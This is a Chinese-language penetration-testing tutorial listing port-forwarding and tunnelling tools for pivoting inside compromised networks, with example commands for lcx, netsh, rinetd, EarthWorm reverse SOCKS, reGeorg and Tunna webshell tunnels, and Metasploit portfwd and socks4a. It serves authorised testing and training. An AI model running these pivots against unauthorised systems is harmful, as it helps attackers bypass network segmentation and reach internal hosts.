內網滲透常見端口轉發方式
本篇文章主要是總結一下常見端口轉發姿勢。
- 0x01 前言
- 0x02 lcx
- 0x03 netsh
- 0x04 rinetd
- 0x05 Earthworm
- 0x06 reGeorg
- 0x07 Metasploit Portfwd
- 0x08 socat
- 0x09 Metasploit->socks4a
- 0x10 tunna
- 0x11 結語
0x01 前言
由於在內網滲透的過程中面對的網絡環境都是千奇百怪的,我們需要探測連接情況。
需要使用到端口轉發技術來讓我們訪問到內網其他主機中,或者將內網中某個端口轉發到本地。
- 端口映射 : 端口映射是將一台主機的內網(LAN)IP地址映射成一個公網(WAN)IP地址,當用戶訪問提供映射端口主機的某個端口時,服務器將請求轉移到本地局域網內部提供這種特定服務的主機;
工具列表:
工具名稱 | 主要用途 | 平台 | 備注 |
---|---|---|---|
lcx | 端口映射 | Windows | 只支持tcp協議的端口轉發,非系統內置 |
netsh | 端口映射 | Windows | 只支持tcp協議的端口轉發 |
rinetd | 反向代理 | Linux | 需要安裝包 |
Earthworm | 端口映射、Socks5代理 | Linux、Windows、MacOS、Arm-Linux | 非系統內置 |
reGeorg | Socks5 代理 | 常見腳本語言 | 需腳本環境執行,且網絡狀況較好 |
Metasploit portfwd | 端口映射 | MSF -> Metpreter會話 | 需要網絡狀況較好 |
socat | 端口映射 | Linux | 可能需要安裝 |
Metasploit->socks4a | 反向代理 | MSF -> Metpreter會話 | 需要會話主機有外網代理IP |
tunna | HTTP隧道 | 常見腳本語言 | 需腳本環境執行,且網絡狀況較好 |
網絡拓撲
0x02 lcx
lcx 參數
lcx-<listen|tran|slave> <option> [-log logfile]
[option:]
-listen <監聽端口> <轉發端口>
-tran<監聽端口> <目標地址> <目標端口>
-slave <目標主機> <目標端口> <本地主機><本機端口>
端口映射 - 無法訪問內網情況下
網絡情況:A無法訪問B主機上的端口,但B可以訪問外網
在這種常見的內網環境下,我們可以使用LCX這款工具來幫助我們實現一個端口映射。
首先在A主機上監聽兩個端口,這兩個端口用於交換B主機發送來的數據以及轉發A主機發送的數據。
這個原理可能有些燒腦,但是仔細跟着我做一遍相信你可以有一個大概的認識 :)
-
A主機上執行命令:
lcx.exe -listen 4455 1234
-
B主機上執行命令:
lcx.exe -slave {A主機IP地址} {A主機端口} {B主機本地IP地址} {B主機某個需要轉發出去的端口}
PS:這兩條命令沒有先后順序,誰先執行都可以,建議先在A主機監聽后再去執行B主機上的命令。
原理簡述:
A主機首先監聽的兩個端口為 4455 和 1234 ,大概意思就是將4455接收到的主機轉發給1234。當然執行這條命令之前,要保證4455及1234未被其他應用程序占用,並且A主機必須是一個B主機能夠進行通信的IP地址。
B主機會首先連接A主機的4455端口,此時A主機與B主機建立連接狀態,如果我們訪問A主機的1234端口,我們發送的數據會經過4455端口發送給B主機需要轉發的目標端口。
大致就是 A與B要建立一個通道,將1234的數據不斷的傳送到B上的目標端口,中間也包括B主機目標端口響應的數據。
端口轉發 - 能夠訪問內網某台主機
網絡情況:A能夠訪問B主機的任何端口,但是無法訪問C主機上的端口
這種大部分情況是A已經能夠輕松B主機,而想要去訪問C,可以使用LCX的tran參數。
在B主機上執行:lcx.exe -tran {監聽端口} {C主機IP地址} {C主機端口}
此時我們訪問B主機上監聽的端口就相當於訪問了C主機上的端口。
0x03 netsh
網絡情況:A無法連接C的端口,但是可以連接B,所以能在B上進行端口轉發
說明
netsh工具都自帶portproxy功能。目前只支持tcp協議的端口轉發,前提需要作為portproxy的主機需要安裝IPV6,安裝可以不啟用IPV6。
安裝IPV6
netsh interface ipv6 install
轉發
netsh interface portproxy add v4tov4 listenaddress=10.10.18.1 listenport=4455 connectaddress=10.10.12.1 connectport=8080
此時A訪問B(10.10.18.1)的4455端口就相當於訪問C(10.10.12.1)的8080端口
刪除轉發記錄
netsh interface portproxy delete v4tov4 listenaddress={B的IP} listenport={B的端口}
查看轉發記錄
netsh interface portproxy show v4tov4
0x04 rinetd
網絡情況:A無法連接C的端口,但是可以連接B,所以能在B上進行端口轉發
linux下簡單好用的工具rinetd,實現端口映射/轉發/重定向
Rinetd是為在一個Unix和Linux操作系統中為重定向傳輸控制協議(TCP)連接的一個工具。Rinetd是單一過程的服務器,它處理任何數量的連接到在配置文件etc/rinetd
中指定的地址/端口對。盡管rinetd使用非閉鎖I/O運行作為一個單一過程,它可能重定向很多連接而不對這台機器增加額外的負擔。
官網地址:http://www.boutell.com/rinetd
軟件下載:wget http://www.boutell.com/rinetd/http/rinetd.tar.gz
安裝
tar zxvf rinetd.tar.gz
cd rinetd
make
make install
配置文件
配置文件結構如下:
源地址 | 源端口 | 目的地址 | 目的端口 |
---|---|---|---|
0.0.0.0 | 8080 | 10.10.12.1 | 8080 |
0.0.0.0 | 9090 | 10.10.12.1 | 3389 |
0.0.0.0 | 80 | 10.10.12.1 | 80 |
/etc/rinetd.conf
文件中指定了每條轉發記錄:
0.0.0.0 8080 10.10.12.1 8080
0.0.0.0 9090 10.10.12.1 3389
0.0.0.0 80 10.10.12.1 80
PS:0.0.0.0表示本機綁定所有可用地址
將所有發往B主機的8080端口的請求轉發到10.10.12.1的8080端口
同樣的,其他都是一樣的意思;
0x05 Earthworm
簡介
EW 是一套便攜式的網絡穿透工具,具有 SOCKS v5服務架設和端口轉發兩大核心功能,可在復雜網絡環境下完成網絡穿透。
PS:該工具已經集成了lcx的所有功能
該工具共有 6 種命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。
官網:http://rootkiter.com/EarthWorm/
端口轉發
網絡情況:A無法連接C的端口,但是可以連接B,所以能在B上進行端口轉發
原理與LCX相同,只是命令參數有所改變:
./ew -s lcx_tran -l 1080 -f 10.10.12.1 -g 9999
將所有發往B主機的1080端口的請求轉發到10.10.12.1的9999端口
正向 SOCKS v5 服務器
網絡情況:A無法連接C的端口,但是可以連接B,所以能在B上進行SOCKS代理轉發
./ew -s ssocksd -l 1080
此時A主機配置上B主機的socks5服務,即可訪問C主機
反彈 SOCKS v5 服務器
網絡情況:A無法連接C的端口,但是B可以連接A,所以需要B連接A,來創建一個Socks5服務(類似於lcx的反向連接)
- 先在一台具有公網 IP 的主機A上運行以下命令:
./ew -s rcsocks -l {A主機Socks服務端口} -e {A主機轉發端口}
- 在目標主機B上啟動 SOCKS v5 服務 並反彈到公網主機的8888端口
/ew -s rssocks -d {A主機IP地址} -e {A主機端口}
0x06 reGeorg
簡介
Git地址:https://github.com/sensepost/reGeorg.git
reGeorg是一個Python2.7環境下開發的一款結合Webshell進行端口復用的工具,能夠將數據通過在本地建立的Socks服務轉發到內網環境。
說明:reGeorg需要配合Webshell使用,並且需要一個良好的網絡狀況。Python環境必須安裝Urlib3
創建Socks5代理
網絡情況:A只能連接B主機的80端口,A無法與C進行通信,且B無法與外網進行通信
首先要選擇一個適合目標服務器腳本環境的Webshell腳本,將該腳本上傳到服務器上,記錄下地址
在瀏覽器中訪問會出現很熟悉的 Georg says, ‘All seems fine’,說明是正常的
例如Webshell地址如:http://10.10.18.1/shell.jsp
進入reGeorg目錄,執行python reGeorgSocksProxy.py -u {Webshell地址} -p {本地Socks5服務監聽的端口}
最后會輸出Starting socks Server [127.0.0.1:端口]
,此時就可以使用瀏覽器設置Socks代理訪問內網主機的端口了。
0x07 Metasploit Portfwd
簡介
Metasploit中的Portfwd是集成於Metpreter會話中的一個后滲透模塊,多用於將內網某個主機的端口轉發到本地。
內網端口轉發
網絡狀況:A已經控制了B主機,但是無法與C主機進行通信
meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
-L <opt> 轉發: 本地監聽地址 反向: 本地主機連接到某個地址
-R 表示正向反向端口
-h 幫助信息
-i <opt> 端口轉發條目的索引與交互(請參閱“列表”命令)
-l <opt> 轉發:本地端口收聽 反向:本地端口連接
-p <opt> 轉發:遠程端口連接 反向:遠程端口監聽
-r <opt> 轉發:連接到遠程主機
正向轉發端口:
portfwd -L 127.0.0.1 -l 1212 -r 10.10.12.1 -p 3389
此時訪問本地的1212端口就相當於訪問10.10.12.1的3389端口
反向轉發端口:
portfwd -R -L 10.10.18.1 -l 8080 -r 10.10.12.1 -p 8877
此時訪問10.10.18.1的8080端口就相當於訪問10.10.12.1的8877端口
0x08 socat
參考:http://payloads.online/tools/socat
0x09 Metasploit->socks4a
簡介
該模塊是Metasploit下一個輔助模塊,用於在本地創建一個socks4a代理,用於通向Metpreter會話上的主機網絡。
創建socks4a代理
網絡狀況:A已經控制了B主機,但是無法與C主機進行通信
msf exploit(handler) > use auxiliary/server/socks4a msf auxiliary(socks4a) > show options Module options (auxiliary/server/socks4a): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The address to listen on SRVPORT 1080 yes The port to listen on. Auxiliary action: Name Description ---- ----------- Proxy msf auxiliary(socks4a) > exploit -y [*] Auxiliary module execution completed msf auxiliary(socks4a) > [*] Starting the socks4a proxy server
- SRVHOST 是服務端IP地址,默認是本機所有IP
- SRVPORT 是Socks4a監聽端口
執行后本地會監聽一個1080端口,可以使用瀏覽器代理、或proxychains-ng等工具代理掃描。
0x10 tunna
簡介
Tunna是一套工具,通過HTTP協議建立一個TCP通信隧道,屬於端口復用技術。它可以用來繞過防火牆環境中的網絡限制。
Git:https://github.com/SECFORCE/Tunna
端口轉發
網絡狀況:A已經擁有了B主機的Webshell,但是無法對B主機的其他端口進行通信
該工具的使用方法與reGeorg相似,但是比reGeorg更加穩定、快速、高效。
例如(1):python proxy.py -u {WebShell地址} -l 1234 -r 3389 -v -n -s
此時,將目標服務器的3389端口轉發到本地的1234端口
例如(2):python proxy.py -u {WebShell地址} -l 1234 -r 3389 -a 10.10.12.1 -v -n -s
此時,將10.10.12.1服務器的3389端口轉發到本地的1234端口
0x11 結語
可能這次總結的不算很完善,后期有新的工具再向里面添加。